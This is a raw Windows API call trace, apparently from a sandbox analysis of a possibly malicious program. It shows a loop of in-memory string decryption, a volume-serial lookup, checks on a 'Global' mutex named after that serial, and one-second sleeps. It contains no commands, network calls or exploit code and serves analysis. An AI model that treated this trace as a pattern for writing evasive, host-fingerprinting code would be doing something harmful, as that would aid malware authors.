	[0071.082] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa194b0
	[0071.082] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa192f8
	[0071.082] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0071.082] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0071.082] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0071.082] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0071.082] CryptDestroyKey (hKey=0x226d0) returned 1
	[0071.082] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0071.082] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa194b0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0071.082] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192f8 | out: hHeap=0xa10000) returned 1
	[0071.082] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa191e0 | out: hHeap=0xa10000) returned 1
	[0071.082] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0071.083] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa194b0 | out: hHeap=0xa10000) returned 1
	[0071.083] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0071.083] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0071.083] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0071.083] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0071.083] CryptDestroyKey (hKey=0x226d0) returned 1
	[0071.083] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0071.083] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2b8
	[0071.083] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0x0) returned 0x102
	[0071.083] CloseHandle (hObject=0x2b8) returned 1
	[0071.083] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0071.083] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0071.083] Sleep (dwMilliseconds=0x3e8) 
	[0072.280] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa194b0
	[0072.280] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x226d0) returned 1
	[0072.280] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0072.280] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa194b0, pdwDataLen=0x116fa00 | out: pbData=0xa194b0, pdwDataLen=0x116fa00) returned 1
	[0072.280] CryptDestroyKey (hKey=0x226d0) returned 1
	[0072.280] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19370
	[0072.280] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19410
	[0072.280] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0072.280] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x226d0) returned 1
	[0072.280] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0072.280] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0072.280] CryptDestroyKey (hKey=0x226d0) returned 1
	[0072.280] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0072.280] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19370, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0072.280] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19410 | out: hHeap=0xa10000) returned 1
	[0072.281] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa194b0 | out: hHeap=0xa10000) returned 1
	[0072.281] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0072.281] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0072.281] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0072.281] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x226d0) returned 1
	[0072.281] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0072.281] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0072.281] CryptDestroyKey (hKey=0x226d0) returned 1
	[0072.281] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0072.281] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2bc
	[0072.281] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x102
	[0072.281] CloseHandle (hObject=0x2bc) returned 1
	[0072.281] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0072.281] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0072.281] Sleep (dwMilliseconds=0x3e8) 
	[0073.441] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19438
	[0073.441] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32b48) returned 1
	[0073.442] CryptSetKeyParam (hKey=0x32b48, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0073.442] CryptDecrypt (in: hKey=0x32b48, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19438, pdwDataLen=0x116fa00 | out: pbData=0xa19438, pdwDataLen=0x116fa00) returned 1
	[0073.442] CryptDestroyKey (hKey=0x32b48) returned 1
	[0073.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa193e8
	[0073.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa192f8
	[0073.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0073.442] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32ac8) returned 1
	[0073.442] CryptSetKeyParam (hKey=0x32ac8, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0073.442] CryptDecrypt (in: hKey=0x32ac8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0073.442] CryptDestroyKey (hKey=0x32ac8) returned 1
	[0073.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0073.442] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa193e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0073.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192f8 | out: hHeap=0xa10000) returned 1
	[0073.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19438 | out: hHeap=0xa10000) returned 1
	[0073.442] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0073.442] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0073.442] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0073.442] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32a88) returned 1
	[0073.442] CryptSetKeyParam (hKey=0x32a88, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0073.442] CryptDecrypt (in: hKey=0x32a88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0073.443] CryptDestroyKey (hKey=0x32a88) returned 1
	[0073.443] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0073.443] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0073.443] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0073.443] CloseHandle (hObject=0x2c4) returned 1
	[0073.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0073.443] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0073.443] Sleep (dwMilliseconds=0x3e8) 
	[0074.809] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19370
	[0074.809] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x324c8) returned 1
	[0074.809] CryptSetKeyParam (hKey=0x324c8, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0074.809] CryptDecrypt (in: hKey=0x324c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa19370, pdwDataLen=0x116fa00 | out: pbData=0xa19370, pdwDataLen=0x116fa00) returned 1
	[0074.809] CryptDestroyKey (hKey=0x324c8) returned 1
	[0074.809] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa192f8
	[0074.809] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19280
	[0074.809] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0074.809] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x327c8) returned 1
	[0074.809] CryptSetKeyParam (hKey=0x327c8, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0074.809] CryptDecrypt (in: hKey=0x327c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0074.809] CryptDestroyKey (hKey=0x327c8) returned 1
	[0074.809] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0074.810] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa192f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0074.810] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19280 | out: hHeap=0xa10000) returned 1
	[0074.810] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0074.810] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0074.810] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa192f8 | out: hHeap=0xa10000) returned 1
	[0074.810] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0074.810] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32a88) returned 1
	[0074.810] CryptSetKeyParam (hKey=0x32a88, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0074.810] CryptDecrypt (in: hKey=0x32a88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0074.810] CryptDestroyKey (hKey=0x32a88) returned 1
	[0074.810] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0074.810] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0074.810] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0074.810] CloseHandle (hObject=0x2c4) returned 1
	[0074.810] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0074.810] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0074.810] Sleep (dwMilliseconds=0x3e8) 
	[0076.207] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa193c0
	[0076.207] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32288) returned 1
	[0076.207] CryptSetKeyParam (hKey=0x32288, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0076.207] CryptDecrypt (in: hKey=0x32288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa193c0, pdwDataLen=0x116fa00 | out: pbData=0xa193c0, pdwDataLen=0x116fa00) returned 1
	[0076.207] CryptDestroyKey (hKey=0x32288) returned 1
	[0076.207] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19208
	[0076.207] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa193e8
	[0076.207] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0076.207] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32308) returned 1
	[0076.207] CryptSetKeyParam (hKey=0x32308, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0076.208] CryptDecrypt (in: hKey=0x32308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0076.208] CryptDestroyKey (hKey=0x32308) returned 1
	[0076.208] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0076.208] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19208, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0076.208] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193e8 | out: hHeap=0xa10000) returned 1
	[0076.208] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193c0 | out: hHeap=0xa10000) returned 1
	[0076.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0076.208] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19208 | out: hHeap=0xa10000) returned 1
	[0076.208] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0076.208] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32848) returned 1
	[0076.208] CryptSetKeyParam (hKey=0x32848, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0076.208] CryptDecrypt (in: hKey=0x32848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0076.208] CryptDestroyKey (hKey=0x32848) returned 1
	[0076.208] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0076.209] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0076.209] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0076.209] CloseHandle (hObject=0x2c4) returned 1
	[0076.209] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0076.209] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0076.209] Sleep (dwMilliseconds=0x3e8) 
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa194b0
	[0077.233] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32d08) returned 1
	[0077.233] CryptSetKeyParam (hKey=0x32d08, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0077.233] CryptDecrypt (in: hKey=0x32d08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa194b0, pdwDataLen=0x116fa00 | out: pbData=0xa194b0, pdwDataLen=0x116fa00) returned 1
	[0077.233] CryptDestroyKey (hKey=0x32d08) returned 1
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa193c0
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19370
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0077.233] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32c88) returned 1
	[0077.233] CryptSetKeyParam (hKey=0x32c88, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0077.233] CryptDecrypt (in: hKey=0x32c88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0077.233] CryptDestroyKey (hKey=0x32c88) returned 1
	[0077.233] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0077.233] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa193c0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0077.233] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19370 | out: hHeap=0xa10000) returned 1
	[0077.233] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa194b0 | out: hHeap=0xa10000) returned 1
	[0077.233] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0077.233] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa193c0 | out: hHeap=0xa10000) returned 1
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0077.233] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x33008) returned 1
	[0077.233] CryptSetKeyParam (hKey=0x33008, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0077.233] CryptDecrypt (in: hKey=0x33008, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0077.233] CryptDestroyKey (hKey=0x33008) returned 1
	[0077.233] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0077.233] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0077.234] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0077.234] CloseHandle (hObject=0x2c4) returned 1
	[0077.234] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0077.234] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0077.234] Sleep (dwMilliseconds=0x3e8) 
	[0078.385] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa194b0
	[0078.385] CryptImportKey (in: hProv=0x14420, pbData=0x116f9e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa4c | out: phKey=0x116fa4c*=0x32908) returned 1
	[0078.385] CryptSetKeyParam (hKey=0x32908, dwParam=0x1, pbData=0x116fa34, dwFlags=0x0) returned 1
	[0078.385] CryptDecrypt (in: hKey=0x32908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa194b0, pdwDataLen=0x116fa00 | out: pbData=0xa194b0, pdwDataLen=0x116fa00) returned 1
	[0078.385] CryptDestroyKey (hKey=0x32908) returned 1
	[0078.385] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa19398
	[0078.385] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa19460
	[0078.385] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0078.385] CryptImportKey (in: hProv=0x14420, pbData=0x116f9bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa24 | out: phKey=0x116fa24*=0x32d48) returned 1
	[0078.385] CryptSetKeyParam (hKey=0x32d48, dwParam=0x1, pbData=0x116fa0c, dwFlags=0x0) returned 1
	[0078.385] CryptDecrypt (in: hKey=0x32d48, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x116f9d8 | out: pbData=0xa111f0, pdwDataLen=0x116f9d8) returned 1
	[0078.385] CryptDestroyKey (hKey=0x32d48) returned 1
	[0078.385] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0078.385] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa19398, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0078.385] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19460 | out: hHeap=0xa10000) returned 1
	[0078.385] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa194b0 | out: hHeap=0xa10000) returned 1
	[0078.385] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x116fa8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x116fa8c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0078.385] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19398 | out: hHeap=0xa10000) returned 1
	[0078.385] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x40) returned 0xa184c0
	[0078.386] CryptImportKey (in: hProv=0x14420, pbData=0x116fa18, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x116fa80 | out: phKey=0x116fa80*=0x32248) returned 1
	[0078.386] CryptSetKeyParam (hKey=0x32248, dwParam=0x1, pbData=0x116fa68, dwFlags=0x0) returned 1
	[0078.386] CryptDecrypt (in: hKey=0x32248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x116fa34 | out: pbData=0xa184c0, pdwDataLen=0x116fa34) returned 1
	[0078.386] CryptDestroyKey (hKey=0x32248) returned 1
	[0078.386] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x34) returned 0xa152c8
	[0078.386] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c4
	[0078.386] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102
	[0078.386] CloseHandle (hObject=0x2c4) returned 1
	[0078.386] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184c0 | out: hHeap=0xa10000) returned 1
	[0078.386] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0078.386] Sleep (dwMilliseconds=0x3e8) 
	[0079.505] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa19370
